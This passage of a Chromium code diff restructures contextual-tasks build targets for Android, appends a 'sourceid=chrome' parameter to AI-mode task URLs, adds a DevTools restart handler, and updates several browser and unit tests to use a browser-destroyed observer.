+    "contextual_tasks_navigation_throttle.h",
+    "contextual_tasks_page_handler.h",
+    "contextual_tasks_ui_service.h",
+    "entry_point_eligibility_manager.h",
+  ]
 
   if (!is_android) {
     sources += [
       "contextual_tasks_composebox_handler.h",
       "contextual_tasks_cookie_synchronizer.h",
-      "contextual_tasks_internals_page_handler.h",
-      "contextual_tasks_navigation_throttle.h",
       "contextual_tasks_side_panel_coordinator.h",
       "contextual_tasks_ui.h",
-      "contextual_tasks_ui_service.h",
       "contextual_tasks_ui_service_factory.h",
-      "entry_point_eligibility_manager.h",
     ]
   }
 
@@ -135,8 +136,14 @@
     ":mojo_bindings",
     "//base",
     "//chrome/browser/ui/tabs:tab_list_interface",
+    "//components/contextual_search:public",
+    "//components/prefs",
+    "//components/signin/public/identity_manager",
     "//components/tabs:public",
+    "//content/public/browser",
     "//third_party/lens_server_proto:lens_overlay_proto",
+    "//third_party/omnibox_proto",
+    "//ui/base/unowned_user_data",
   ]
 
   if (!is_android) {
@@ -151,9 +158,7 @@
       "//chrome/browser/ui/webui/searchbox",
       "//chrome/browser/ui/webui/top_chrome",
       "//components/contextual_tasks/public:feature_list",
-      "//content/public/browser",
       "//content/public/common",
-      "//third_party/omnibox_proto",
       "//ui/webui",
       "//ui/webui/resources/cr_components/composebox:mojo_bindings",
       "//url",
@@ -162,41 +167,52 @@
 }
 
 source_set("ui_impl") {
-  sources = []
+  sources = [
+    "contextual_search_session_finder.h",
+    "contextual_tasks_internals_page_handler.cc",
+    "contextual_tasks_page_handler.cc",
+    "contextual_tasks_url_loader_factory_interceptor.h",
+    "entry_point_eligibility_manager.cc",
+  ]
 
   if (!is_android) {
     sources += [
       "contextual_search_session_finder.cc",
-      "contextual_search_session_finder.h",
       "contextual_tasks_composebox_handler.cc",
       "contextual_tasks_cookie_synchronizer.cc",
-      "contextual_tasks_internals_page_handler.cc",
       "contextual_tasks_navigation_throttle.cc",
-      "contextual_tasks_page_handler.cc",
       "contextual_tasks_side_panel_coordinator.cc",
       "contextual_tasks_ui.cc",
       "contextual_tasks_ui_service.cc",
       "contextual_tasks_ui_service_factory.cc",
       "contextual_tasks_url_loader_factory_interceptor.cc",
-      "contextual_tasks_url_loader_factory_interceptor.h",
-      "entry_point_eligibility_manager.cc",
     ]
   }
 
-  deps = []
+  deps = [
+    ":ui",
+    "//base",
+    "//chrome/browser:browser_process",
+    "//chrome/browser:global_features",
+    "//chrome/browser/autocomplete:aim_eligibility_service",
+    "//chrome/browser/optimization_guide",
+    "//chrome/browser/profiles:profile",
+    "//chrome/browser/signin",
+    "//chrome/browser/ui",
+    "//chrome/browser/ui:browser_navigator_params_headers",
+    "//chrome/browser/ui/browser_window",
+    "//components/application_locale_storage",
+    "//components/contextual_search:public",
+    "//components/lens",
+    "//components/omnibox/browser:mojo_bindings",
+    "//components/tabs:public",
+    "//google_apis",
+  ]
 
   if (!is_android) {
     deps += [
-      ":ui",
-      "//base",
-      "//chrome/browser:global_features",
-      "//chrome/browser/autocomplete:aim_eligibility_service",
       "//chrome/browser/companion/text_finder",
-      "//chrome/browser/profiles:profile",
       "//chrome/browser/resources/contextual_tasks:resources",
-      "//chrome/browser/signin",
-      "//chrome/browser/ui",
-      "//chrome/browser/ui/browser_window",
       "//chrome/browser/ui/contextual_search",
       "//chrome/browser/ui/lens",
       "//chrome/browser/ui/omnibox",
@@ -206,13 +222,9 @@
       "//chrome/browser/ui/webui",
       "//chrome/browser/ui/webui:webui_util",
       "//chrome/browser/ui/webui/cr_components/searchbox",
-      "//components/application_locale_storage",
       "//components/contextual_tasks/public:feature_list",
       "//components/keyed_service/core",
-      "//components/lens",
-      "//components/omnibox/browser:mojo_bindings",
       "//components/shared_highlighting/core/common",
-      "//google_apis",
       "//services/network/public/cpp",
       "//services/network/public/mojom",
       "//third_party/lens_server_proto:lens_overlay_proto",
@@ -341,7 +353,6 @@
       "//chrome/browser/ui/tabs:test_support",
       "//chrome/browser/ui/webui:webui_util",
       "//chrome/browser/ui/webui/searchbox:searchbox_test_utils",
-      "//components/contextual_search:public",
       "//components/contextual_search:test_support",
       "//components/omnibox/browser:test_support",
       "//components/passage_embeddings/core",
diff --git a/chrome/browser/contextual_tasks/contextual_tasks_page_handler.cc b/chrome/browser/contextual_tasks/contextual_tasks_page_handler.cc
index 3bfaa11..17d4ce3 100644
--- a/chrome/browser/contextual_tasks/contextual_tasks_page_handler.cc
+++ b/chrome/browser/contextual_tasks/contextual_tasks_page_handler.cc
@@ -11,14 +11,12 @@
 #include "base/uuid.h"
 #include "chrome/browser/browser_process.h"
 #include "chrome/browser/contextual_tasks/ai_mode_context_library_converter.h"
-#include "chrome/browser/contextual_tasks/contextual_tasks_ui.h"
 #include "chrome/browser/contextual_tasks/contextual_tasks_ui_service.h"
 #include "chrome/browser/global_features.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/ui/browser_navigator.h"
 #include "chrome/browser/ui/browser_navigator_params.h"
 #include "chrome/browser/ui/browser_window/public/browser_window_interface.h"
-#include "chrome/browser/ui/webui/webui_embedding_context.h"
 #include "components/application_locale_storage/application_locale_storage.h"
 #include "components/contextual_tasks/public/context_decoration_params.h"
 #include "components/contextual_tasks/public/contextual_task.h"
@@ -36,6 +34,10 @@
 #include "third_party/omnibox_proto/chrome_aim_entry_point.pb.h"
 #include "url/gurl.h"
 
+#if !BUILDFLAG(IS_ANDROID)
+#include "chrome/browser/contextual_tasks/contextual_tasks_ui.h"
+#endif
+
 namespace {
 
 constexpr char kMyActivityUrl[] = "https://myactivity.google.com/myactivity";
@@ -147,7 +149,11 @@
 
 void ContextualTasksPageHandler::IsZeroState(const GURL& url,
                                              IsZeroStateCallback callback) {
+#if !BUILDFLAG(IS_ANDROID)
   std::move(callback).Run(ContextualTasksUI::IsZeroState(url, ui_service_));
+#else
+  std::move(callback).Run(false);
+#endif
 }
 
 void ContextualTasksPageHandler::IsAiPage(const GURL& url,
@@ -208,18 +214,15 @@
 void ContextualTasksPageHandler::OnTabClickedFromSourcesMenu(int32_t tab_id,
                                                              const GURL& url) {
   if (ui_service_) {
-    ui_service_->OnTabClickedFromSourcesMenu(
-        tab_id, url,
-        webui::GetBrowserWindowInterface(
-            web_ui_controller_->GetWebUIWebContents()));
+    ui_service_->OnTabClickedFromSourcesMenu(tab_id, url,
+                                             web_ui_controller_->GetBrowser());
   }
 }
 
 void ContextualTasksPageHandler::OnFileClickedFromSourcesMenu(const GURL& url) {
   if (ui_service_) {
-    ui_service_->OnFileClickedFromSourcesMenu(
-        url, webui::GetBrowserWindowInterface(
-                 web_ui_controller_->GetWebUIWebContents()));
+    ui_service_->OnFileClickedFromSourcesMenu(url,
+                                              web_ui_controller_->GetBrowser());
   }
 }
 
@@ -227,8 +230,7 @@
     const GURL& url) {
   if (ui_service_) {
     ui_service_->OnImageClickedFromSourcesMenu(
-        url, webui::GetBrowserWindowInterface(
-                 web_ui_controller_->GetWebUIWebContents()));
+        url, web_ui_controller_->GetBrowser());
   }
 }
 
diff --git a/chrome/browser/contextual_tasks/contextual_tasks_ui.cc b/chrome/browser/contextual_tasks/contextual_tasks_ui.cc
index 11af851..3b5c839 100644
--- a/chrome/browser/contextual_tasks/contextual_tasks_ui.cc
+++ b/chrome/browser/contextual_tasks/contextual_tasks_ui.cc
@@ -891,7 +891,8 @@
   const bool is_zero_state = ContextualTasksUI::IsZeroState(url, ui_service_);
 
   if (!base::FeatureList::IsEnabled(
-          contextual_tasks::kEnableNotifyZeroStateRenderedCapability)) {
+          contextual_tasks::kEnableNotifyZeroStateRenderedCapability) ||
+      !navigation_handle->IsSameDocument()) {
     task_info_delegate_->OnZeroStateChange(is_zero_state);
   }
 
diff --git a/chrome/browser/contextual_tasks/contextual_tasks_ui_service.cc b/chrome/browser/contextual_tasks/contextual_tasks_ui_service.cc
index 8507d9e..ea73b3f 100644
--- a/chrome/browser/contextual_tasks/contextual_tasks_ui_service.cc
+++ b/chrome/browser/contextual_tasks/contextual_tasks_ui_service.cc
@@ -829,6 +829,10 @@
   auto it = task_id_to_creation_url_.find(uuid);
   if (it != task_id_to_creation_url_.end()) {
     GURL url = it->second;
+    // Ensure the sourceid param is set. This is needed to identify chrome
+    // source traffic for AIM pages that were directly navigated to by the user,
+    // as opposed to threads created by Chrome.
+    url = net::AppendOrReplaceQueryParameter(url, "sourceid", "chrome");
     task_id_to_creation_url_.erase(it);
     omnibox::ChromeAimEntryPoint entry_point =
         GetInitialEntryPointForTask(uuid);
diff --git a/chrome/browser/contextual_tasks/contextual_tasks_ui_service_interactive_uitest.cc b/chrome/browser/contextual_tasks/contextual_tasks_ui_service_interactive_uitest.cc
index 680eed9..83835cf 100644
--- a/chrome/browser/contextual_tasks/contextual_tasks_ui_service_interactive_uitest.cc
+++ b/chrome/browser/contextual_tasks/contextual_tasks_ui_service_interactive_uitest.cc
@@ -531,7 +531,9 @@
         std::optional<ContextualTask> task =
             contextual_tasks_service->GetContextualTaskForTab(tab_id);
         EXPECT_TRUE(task.has_value());
-        EXPECT_EQ(service->GetInitialUrlForTask(task->GetTaskId()), search_url);
+        const GURL expected_url("https://google.com/search?sourceid=chrome");
+        EXPECT_EQ(service->GetInitialUrlForTask(task->GetTaskId()),
+                  expected_url);
       }));
 }
 
diff --git a/chrome/browser/contextual_tasks/contextual_tasks_ui_service_unittest.cc b/chrome/browser/contextual_tasks/contextual_tasks_ui_service_unittest.cc
index 5c9e9e5..5fbfa86 100644
--- a/chrome/browser/contextual_tasks/contextual_tasks_ui_service_unittest.cc
+++ b/chrome/browser/contextual_tasks/contextual_tasks_ui_service_unittest.cc
@@ -777,7 +777,8 @@
                                           weak_factory.GetWeakPtr(), false);
 
   GURL expected_initial_url(
-      "https://google.com/search?udm=50&q=test+query&cs=0&gsc=2&hl=en");
+      "https://google.com/search?udm=50&q=test+query&cs=0&gsc=2&hl=en&"
+      "sourceid=chrome");
   EXPECT_EQ(service.GetInitialUrlForTask(task.GetTaskId()),
             expected_initial_url);
 }
@@ -968,4 +969,52 @@
   run_loop.Run();
 }
 
+TEST_F(ContextualTasksUiServiceTest, GetInitialUrlForTask_HasSourceId) {
+  ContextualTasksUiService service(nullptr, contextual_tasks_service_.get(),
+                                   nullptr, aim_eligibility_service_.get());
+  GURL intercepted_url("https://google.com/search?udm=50&q=test+query");
+
+  auto web_contents = content::WebContentsTester::CreateTestWebContents(
+      profile_.get(), content::SiteInstance::Create(profile_.get()));
+  sessions::SessionTabHelper::CreateForWebContents(
+      web_contents.get(),
+      base::BindRepeating([](content::WebContents* contents) {
+        return static_cast<sessions::SessionTabHelperDelegate*>(nullptr);
+      }));
+
+  tabs::MockTabInterface tab;
+  ON_CALL(tab, GetContents).WillByDefault(Return(web_contents.get()));
+
+  ContextualTask task(base::Uuid::GenerateRandomV4());
+  EXPECT_CALL(*contextual_tasks_service_, CreateTaskFromUrl(intercepted_url))
+      .WillOnce(Return(task));
+  EXPECT_CALL(*contextual_tasks_service_,
+              AssociateTabWithTask(
+                  task.GetTaskId(),
+                  sessions::SessionTabHelper::IdForTab(web_contents.get())))
+      .Times(1);
+  base::WeakPtrFactory weak_factory(&tab);
+
+  service.OnNavigationToAiPageIntercepted(intercepted_url,
+                                          weak_factory.GetWeakPtr(), false);
+
+  std::optional<GURL> initial_url =
+      service.GetInitialUrlForTask(task.GetTaskId());
+  ASSERT_TRUE(initial_url.has_value());
+
+  std::string sourceid;
+  EXPECT_TRUE(net::GetValueForKeyInQuery(*initial_url, "sourceid", &sourceid));
+  EXPECT_EQ(sourceid, "chrome");
+}
+
+TEST_F(ContextualTasksUiServiceTest, GetDefaultAiPageUrl_HasSourceId) {
+  ContextualTasksUiService service(nullptr, contextual_tasks_service_.get(),
+                                   nullptr, aim_eligibility_service_.get());
+  GURL url = service.GetDefaultAiPageUrl();
+
+  std::string sourceid;
+  EXPECT_TRUE(net::GetValueForKeyInQuery(url, "sourceid", &sourceid));
+  EXPECT_EQ(sourceid, "chrome");
+}
+
 }  // namespace contextual_tasks
diff --git a/chrome/browser/contextual_tasks/contextual_tasks_ui_unittest.cc b/chrome/browser/contextual_tasks/contextual_tasks_ui_unittest.cc
index 1b40ce5..8ef63a5a 100644
--- a/chrome/browser/contextual_tasks/contextual_tasks_ui_unittest.cc
+++ b/chrome/browser/contextual_tasks/contextual_tasks_ui_unittest.cc
@@ -4,6 +4,7 @@
 
 #include "chrome/browser/contextual_tasks/contextual_tasks_ui.h"
 
+#include "base/test/scoped_feature_list.h"
 #include "base/uuid.h"
 #include "chrome/browser/contextual_tasks/contextual_tasks_ui_service.h"
 #include "chrome/browser/ui/browser_window/test/mock_browser_window_interface.h"
@@ -11,6 +12,7 @@
 #include "chrome/test/base/testing_profile.h"
 #include "components/contextual_tasks/public/contextual_task.h"
 #include "components/contextual_tasks/public/contextual_tasks_service.h"
+#include "components/contextual_tasks/public/features.h"
 #include "components/contextual_tasks/public/mock_contextual_tasks_service.h"
 #include "components/sessions/content/session_tab_helper.h"
 #include "content/public/test/mock_navigation_handle.h"
@@ -749,4 +751,54 @@
   observer->DidFinishNavigation(handle_query2.get());
 }
 
+TEST_F(ContextualTasksUiTest, OnZeroStateChange_FeatureEnabled) {
+  base::test::ScopedFeatureList feature_list;
+  feature_list.InitAndEnableFeature(
+      contextual_tasks::kEnableNotifyZeroStateRenderedCapability);
+
+  testing::NiceMock<MockTaskInfoDelegate> delegate;
+  SetupMockDelegate(&delegate, std::nullopt, std::nullopt, std::nullopt);
+  auto observer = std::make_unique<ContextualTasksUI::FrameNavObserver>(
+      embedded_web_contents_.get(), service_for_nav_.get(),
+      contextual_tasks_service_.get(), &delegate);
+
+  GURL zero_state_url("https://www.google.com/search?udm=50");
+
+  // Case 1: Same document navigation.
+  // Expect OnZeroStateChange to NOT be called.
+  // Expect task creation to happen because IsSameDocument condition in the task creation block allows it.
+  {
+    EXPECT_CALL(delegate, OnZeroStateChange(_)).Times(0);
+
+    base::Uuid task_id = base::Uuid::ParseCaseInsensitive(kUuid);
+    ContextualTask task(task_id);
+    EXPECT_CALL(*contextual_tasks_service_, CreateTask())
+        .WillOnce(Return(task));
+    EXPECT_CALL(delegate, PrepareForTaskChange()).Times(1);
+    EXPECT_CALL(*service_for_nav_, OnTaskChanged(_, _, task_id, _)).Times(1);
+
+    auto handle = CreateMockNavigationHandle(zero_state_url);
+    handle->set_has_committed(true);
+    handle->set_is_same_document(true);
+    observer->DidFinishNavigation(handle.get());
+  }
+
+  // Case 2: Cross document navigation.
+  // Expect OnZeroStateChange to BE called.
+  // Expect task creation to be SKIPPED because !IsSameDocument is false.
+  {
+    EXPECT_CALL(delegate, OnZeroStateChange(true)).Times(1);
+
+    EXPECT_CALL(*contextual_tasks_service_, CreateTask()).Times(0);
+    EXPECT_CALL(delegate, PrepareForTaskChange()).Times(0);
+
+    // Using a different URL to trigger logic (URL change check).
+    GURL zero_state_url_2("https://www.google.com/search?udm=50&other=1");
+    auto handle = CreateMockNavigationHandle(zero_state_url_2);
+    handle->set_has_committed(true);
+    handle->set_is_same_document(false);
+    observer->DidFinishNavigation(handle.get());
+  }
+}
+
 }  // namespace contextual_tasks
diff --git a/chrome/browser/devtools/devtools_browsertest.cc b/chrome/browser/devtools/devtools_browsertest.cc
index 0eeb9636..f77db4e 100644
--- a/chrome/browser/devtools/devtools_browsertest.cc
+++ b/chrome/browser/devtools/devtools_browsertest.cc
@@ -496,10 +496,14 @@
       before_unload_observer.Wait();
     }
     {
+      std::optional<ui_test_utils::BrowserDestroyedObserver> observer;
+      if (wait_for_browser_close) {
+        observer.emplace(browser());
+      }
       close_method.Run();
       AcceptModalDialog();
-      if (wait_for_browser_close) {
-        ui_test_utils::WaitForBrowserToClose(browser());
+      if (observer) {
+        observer->Wait();
       }
     }
     runner->Run();
@@ -1055,10 +1059,11 @@
   }
   // Try to exit application.
   {
+    ui_test_utils::BrowserDestroyedObserver observer(browser());
     chrome::CloseAllBrowsers();
     AcceptModalDialog();
     AcceptModalDialog();
-    ui_test_utils::WaitForBrowserToClose(browser());
+    observer.Wait();
   }
   for (auto& close_observer : close_observers) {
     close_observer->Wait();
@@ -3325,8 +3330,9 @@
                       "function(event) { event.returnValue = 'Foo'; });"));
   content::PrepContentsForBeforeUnloadTest(tab);
   BrowserHandler handler(nullptr, std::string());
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   handler.Close();
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 }
 
 // Flaky.
@@ -3344,9 +3350,10 @@
   WebContents* tab = browser()->tab_strip_model()->GetActiveWebContents();
   RenderViewContextMenu::RegisterMenuShownCallbackForTesting(
       base::BindOnce(callback));
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   content::SimulateMouseClickAt(tab, 0, blink::WebMouseEvent::Button::kRight,
                                 gfx::Point(15, 15));
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 }
 
 #if !BUILDFLAG(IS_CHROMEOS)
@@ -3370,8 +3377,9 @@
   chrome::NewEmptyWindow(ProfileManager::GetLastUsedProfile());
   EXPECT_FALSE(global_colection->IsEmpty());
   BrowserHandler handler(nullptr, std::string());
+  ui_test_utils::BrowserDestroyedObserver observer;
   handler.Close();
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
   EXPECT_FALSE(KeepAliveRegistry::GetInstance()->IsKeepingAlive());
   EXPECT_FALSE(KeepAliveRegistry::GetInstance()->IsOriginRegistered(
       KeepAliveOrigin::REMOTE_DEBUGGING));
diff --git a/chrome/browser/devtools/devtools_embedder_message_dispatcher.cc b/chrome/browser/devtools/devtools_embedder_message_dispatcher.cc
index e6ca4b07..b5e55ef6 100644
--- a/chrome/browser/devtools/devtools_embedder_message_dispatcher.cc
+++ b/chrome/browser/devtools/devtools_embedder_message_dispatcher.cc
@@ -533,5 +533,6 @@
                                  &Delegate::RegisterAidaClientEvent, delegate);
   d->RegisterHandlerWithCallback("dispatchHttpRequest",
                                  &Delegate::DispatchHttpRequest, delegate);
+  d->RegisterHandler("requestRestart", &Delegate::RequestRestart, delegate);
   return d;
 }
diff --git a/chrome/browser/devtools/devtools_embedder_message_dispatcher.h b/chrome/browser/devtools/devtools_embedder_message_dispatcher.h
index e700bbc..150805a 100644
--- a/chrome/browser/devtools/devtools_embedder_message_dispatcher.h
+++ b/chrome/browser/devtools/devtools_embedder_message_dispatcher.h
@@ -151,6 +151,7 @@
     virtual void DispatchHttpRequest(
         DispatchCallback callback,
         const DevToolsDispatchHttpRequestParams& body) = 0;
+    virtual void RequestRestart() = 0;
   };
 
   using DispatchCallback = Delegate::DispatchCallback;
diff --git a/chrome/browser/devtools/devtools_ui_bindings.cc b/chrome/browser/devtools/devtools_ui_bindings.cc
index 122d5d3a..989ca33 100644
--- a/chrome/browser/devtools/devtools_ui_bindings.cc
+++ b/chrome/browser/devtools/devtools_ui_bindings.cc
@@ -46,6 +46,7 @@
 #include "chrome/browser/devtools/devtools_select_file_dialog.h"
 #include "chrome/browser/devtools/features.h"
 #include "chrome/browser/devtools/url_constants.h"
+#include "chrome/browser/lifetime/application_lifetime.h"
 #include "chrome/browser/policy/profile_policy_connector.h"
 #include "chrome/browser/profiles/profile.h"
 #include "chrome/browser/profiles/profile_avatar_icon_util.h"
@@ -2325,6 +2326,10 @@
   SetChromeFlagInternal(profile_, flag_name, value);
 }
 
+void DevToolsUIBindings::RequestRestart() {
+  chrome::AttemptRestart();
+}
+
 void DevToolsUIBindings::MaybeStartLogging() {
   if (session_id_for_logging_.is_empty()) {
     session_id_for_logging_ = base::UnguessableToken::Create();
diff --git a/chrome/browser/devtools/devtools_ui_bindings.h b/chrome/browser/devtools/devtools_ui_bindings.h
index d686850..cc63758 100644
--- a/chrome/browser/devtools/devtools_ui_bindings.h
+++ b/chrome/browser/devtools/devtools_ui_bindings.h
@@ -281,6 +281,7 @@
   void RegisterAidaClientEvent(DispatchCallback callback,
                                const std::string& request) override;
   void SetChromeFlag(const std::string& flag_name, bool value) override;
+  void RequestRestart() override;
 
   // Dispatches a generic HTTP request to a backend service.
   // This is a centralized entry point for DevTools frontend to make network
diff --git a/chrome/browser/devtools/protocol/devtools_protocol_browsertest.cc b/chrome/browser/devtools/protocol/devtools_protocol_browsertest.cc
index 825842a..8a5ee0b 100644
--- a/chrome/browser/devtools/protocol/devtools_protocol_browsertest.cc
+++ b/chrome/browser/devtools/protocol/devtools_protocol_browsertest.cc
@@ -80,7 +80,17 @@
 #include "url/origin.h"
 
 #if !BUILDFLAG(IS_ANDROID)
+#include "base/task/sequenced_task_runner.h"
+#include "chrome/browser/prefs/session_startup_pref.h"
+#include "chrome/browser/profiles/keep_alive/profile_keep_alive_types.h"
+#include "chrome/browser/profiles/keep_alive/scoped_profile_keep_alive.h"
+#include "chrome/browser/profiles/profile_window.h"
+#include "chrome/browser/resource_coordinator/tab_manager.h"
+#include "chrome/browser/sessions/session_restore_test_helper.h"
+#include "chrome/browser/sessions/session_service_test_helper.h"
 #include "chrome/browser/ui/browser.h"
+#include "chrome/browser/ui/browser_commands.h"
+#include "chrome/browser/ui/browser_finder.h"
 #include "chrome/browser/ui/web_applications/test/isolated_web_app_test_utils.h"
 #include "chrome/browser/web_applications/isolated_web_apps/isolated_web_app_url_info.h"
 #include "chrome/browser/web_applications/isolated_web_apps/test/isolated_web_app_builder.h"
@@ -89,6 +99,9 @@
 #include "components/guest_view/browser/guest_view_base.h"
 #include "components/guest_view/browser/guest_view_manager_delegate.h"
 #include "components/guest_view/browser/test_guest_view_manager.h"
+#include "components/keep_alive_registry/keep_alive_types.h"
+#include "components/keep_alive_registry/scoped_keep_alive.h"
+#include "components/memory_pressure/fake_memory_pressure_monitor.h"
 #include "content/public/browser/devtools_agent_host_client.h"
 #include "content/public/test/browser_test_utils.h"
 #endif  // !BUILDFLAG(IS_ANDROID)
@@ -365,6 +378,166 @@
       *error()->FindString("message"));
   EXPECT_EQ(4, browser()->tab_strip_model()->count());
 }
+
+#if BUILDFLAG(IS_CHROMEOS)
+// On ChromeOS, the tabs are not backgrounded and unloaded in the same way as
+// on other platforms.
+#define MAYBE_AutoAttachToUnloadedTab DISABLED_AutoAttachToUnloadedTab
+#else
+#define MAYBE_AutoAttachToUnloadedTab AutoAttachToUnloadedTab
+#endif
+
+IN_PROC_BROWSER_TEST_F(DevToolsProtocolTest, MAYBE_AutoAttachToUnloadedTab) {
+  ASSERT_TRUE(embedded_test_server()->Start());
+  GURL url1 = embedded_test_server()->GetURL("/title1.html");
+  GURL url2 = embedded_test_server()->GetURL("/title2.html");
+
+  // 1. Create two tabs.
+  ASSERT_TRUE(ui_test_utils::NavigateToURL(browser(), url1));
+  ui_test_utils::NavigateToURLWithDisposition(
+      browser(), url2, WindowOpenDisposition::NEW_FOREGROUND_TAB,
+      ui_test_utils::BROWSER_TEST_WAIT_FOR_LOAD_STOP);
+  ASSERT_EQ(2, browser()->tab_strip_model()->count());
+  ASSERT_EQ(1, browser()->tab_strip_model()->active_index());
+
+  content::WebContents* background_tab =
+      browser()->tab_strip_model()->GetWebContentsAt(0);
+  content::WebContents* active_tab =
+      browser()->tab_strip_model()->GetWebContentsAt(1);
+
+  // 2. Restore session without loading background tabs.
+  Profile* profile = browser()->profile();
+  SessionStartupPref::SetStartupPref(
+      profile, SessionStartupPref(SessionStartupPref::LAST));
+  SessionServiceTestHelper(profile).SetForceBrowserNotAliveWithNoWindows(true);
+
+  auto keep_alive = std::make_unique<ScopedKeepAlive>(
+      KeepAliveOrigin::SESSION_RESTORE, KeepAliveRestartOption::DISABLED);
+  auto profile_keep_alive = std::make_unique<ScopedProfileKeepAlive>(
+      profile, ProfileKeepAliveOrigin::kBrowserWindow);
+  CloseBrowserSynchronously(browser());
+
+  ui_test_utils::AllBrowserTabAddedWaiter tab_waiter;
+  SessionRestoreTestHelper restore_observer;
+
+  chrome::NewEmptyWindow(profile);
+
+  Browser* new_browser = chrome::FindBrowserWithTab(tab_waiter.Wait());
+
+  memory_pressure::test::FakeMemoryPressureMonitor fake_memory_pressure_monitor;
+  fake_memory_pressure_monitor.SetAndNotifyMemoryPressure(
+      base::MEMORY_PRESSURE_LEVEL_CRITICAL);
+  // Wait for async memory notifications to be delivered to Performance
+  // Manager on the main thread.
+  // TODO(crbug.com/436324601): Remove once memory pressure notifications
+  // are synchronous.
+  base::RunLoop run_loop;
+  base::SequencedTaskRunner::GetCurrentDefault()->PostTask(
+      FROM_HERE, run_loop.QuitClosure());
+  run_loop.Run();
+
+  keep_alive.reset();
+  profile_keep_alive.reset();
+
+  // The new browser should have 2 tabs.
+  ASSERT_EQ(2, new_browser->tab_strip_model()->count());
+  ASSERT_EQ(1, new_browser->tab_strip_model()->active_index());
+
+  background_tab = new_browser->tab_strip_model()->GetWebContentsAt(0);
+  active_tab = new_browser->tab_strip_model()->GetWebContentsAt(1);
+
+  // Background tab should not have a renderer.
+  EXPECT_FALSE(background_tab->GetPrimaryMainFrame()->IsRenderFrameLive());
+  ASSERT_TRUE(content::WaitForLoadStop(active_tab));
+  EXPECT_TRUE(active_tab->GetPrimaryMainFrame()->IsRenderFrameLive());
+
+  // Attach to the browser target.
+  AttachToBrowserTarget();
+  // Send Target.setAutoAttach with autoAttach=true, flatten=true.
+  base::DictValue set_auto_attach_params;
+  set_auto_attach_params.Set("autoAttach", true);
+  set_auto_attach_params.Set("waitForDebuggerOnStart", false);
+  set_auto_attach_params.Set("flatten", true);
+  base::ListValue filter;
+  // Include tab target.
+  base::DictValue page_filter;
+  page_filter.Set("type", "page");
+  page_filter.Set("exclude", true);
+  filter.Append(std::move(page_filter));
+  filter.Append(base::DictValue());
+  set_auto_attach_params.Set("filter", std::move(filter));
+  SendCommandSync("Target.setAutoAttach", std::move(set_auto_attach_params));
+
+  // Verify that two attachedToTarget tab target events are received.
+  const base::DictValue& attached_tab1_notif =
+      WaitForNotification("Target.attachedToTarget", true);
+  const std::string& session_id1 =
+      *attached_tab1_notif.FindStringByDottedPath("sessionId");
+  ASSERT_EQ("tab",
+            *attached_tab1_notif.FindStringByDottedPath("targetInfo.type"));
+
+  base::DictValue set_auto_attach_params_for_tab;
+  set_auto_attach_params_for_tab.Set("autoAttach", true);
+  set_auto_attach_params_for_tab.Set("waitForDebuggerOnStart", false);
+  set_auto_attach_params_for_tab.Set("flatten", true);
+  SendSessionCommand("Target.setAutoAttach",
+                     set_auto_attach_params_for_tab.Clone(), session_id1,
+                     false);
+
+  const base::DictValue& attached_tab2_notif =
+      WaitForNotification("Target.attachedToTarget", true);
+  const std::string& session_id2 =
+      *attached_tab2_notif.FindStringByDottedPath("sessionId");
+  ASSERT_EQ("tab",
+            *attached_tab2_notif.FindStringByDottedPath("targetInfo.type"));
+
+  SendSessionCommand("Target.setAutoAttach",
+                     std::move(set_auto_attach_params_for_tab), session_id2,
+                     false);
+
+  // Verify two attachedToTarget events for page targets are received.
+  base::DictValue attached_page1_notif =
+      WaitForNotification("Target.attachedToTarget", true);
+  base::DictValue attached_page2_notif =
+      WaitForNotification("Target.attachedToTarget", true);
+
+  // The notifications can arrive in any order. The active tab is eagerly
+  // loaded, so it should have a URL. The background tab may not.
+  if (const std::string* url =
+          attached_page1_notif.FindStringByDottedPath("targetInfo.url");
+      url && *url == url2.spec()) {
+    std::swap(attached_page1_notif, attached_page2_notif);
+  }
+  // The background tab's URL may not be available yet.
+  ASSERT_THAT(attached_page2_notif.FindStringByDottedPath("targetInfo.url"),
+              testing::Pointee(url2.spec()));
+
+  const std::string& page_session_id1 =
+      *attached_page1_notif.FindStringByDottedPath("sessionId");
+  ASSERT_EQ("page",
+            *attached_page1_notif.FindStringByDottedPath("targetInfo.type"));
+
+  const std::string& page_session_id2 =
+      *attached_page2_notif.FindStringByDottedPath("sessionId");
+  ASSERT_EQ("page",
+            *attached_page2_notif.FindStringByDottedPath("targetInfo.type"));
+
+  // Send Runtime.evaluate to both page targets and verify script result is
+  // received for both.
+  EXPECT_TRUE(background_tab->GetPrimaryMainFrame()->IsRenderFrameLive());
+  EXPECT_TRUE(active_tab->GetPrimaryMainFrame()->IsRenderFrameLive());
+
+  base::DictValue evaluate_params;
+  evaluate_params.Set("expression", "1 + 2");
+  const base::DictValue* evaluate_result1 = SendSessionCommand(
+      "Runtime.evaluate", evaluate_params.Clone(), page_session_id1, true);
+  ASSERT_EQ(3, evaluate_result1->FindIntByDottedPath("result.value"));
+
+  const base::DictValue* evaluate_result2 = SendSessionCommand(
+      "Runtime.evaluate", std::move(evaluate_params), page_session_id2, true);
+  ASSERT_EQ(3, evaluate_result2->FindIntByDottedPath("result.value"));
+}
+
 #endif  // !BUILDFLAG(IS_ANDROID)
 
 IN_PROC_BROWSER_TEST_F(DevToolsProtocolTest,
@@ -2001,10 +2174,11 @@
   SendCommandSync("Target.getTargets");
   EXPECT_EQ(2u, result()->FindList("targetInfos")->size());
 
+  ui_test_utils::BrowserDestroyedObserver observer;
   SendCommandSync("Target.closeTarget",
                   base::DictValue().Set("targetId", targetId));
 
-  ui_test_utils::WaitForBrowserToClose();
+  observer.Wait();
 }
 
 IN_PROC_BROWSER_TEST_F(DevToolsProtocolTest,
diff --git a/chrome/browser/download/download_browsertest.cc b/chrome/browser/download/download_browsertest.cc
index 40d6e087..0222073a 100644
--- a/chrome/browser/download/download_browsertest.cc
+++ b/chrome/browser/download/download_browsertest.cc
@@ -1319,9 +1319,9 @@
   ExpectWindowCountAfterDownload(2);
 
   // Close the Incognito window and don't crash.
+  ui_test_utils::BrowserDestroyedObserver observer(incognito);
   chrome::CloseWindow(incognito);
-
-  ui_test_utils::WaitForBrowserToClose(incognito);
+  observer.Wait();
   ExpectWindowCountAfterDownload(1);
 
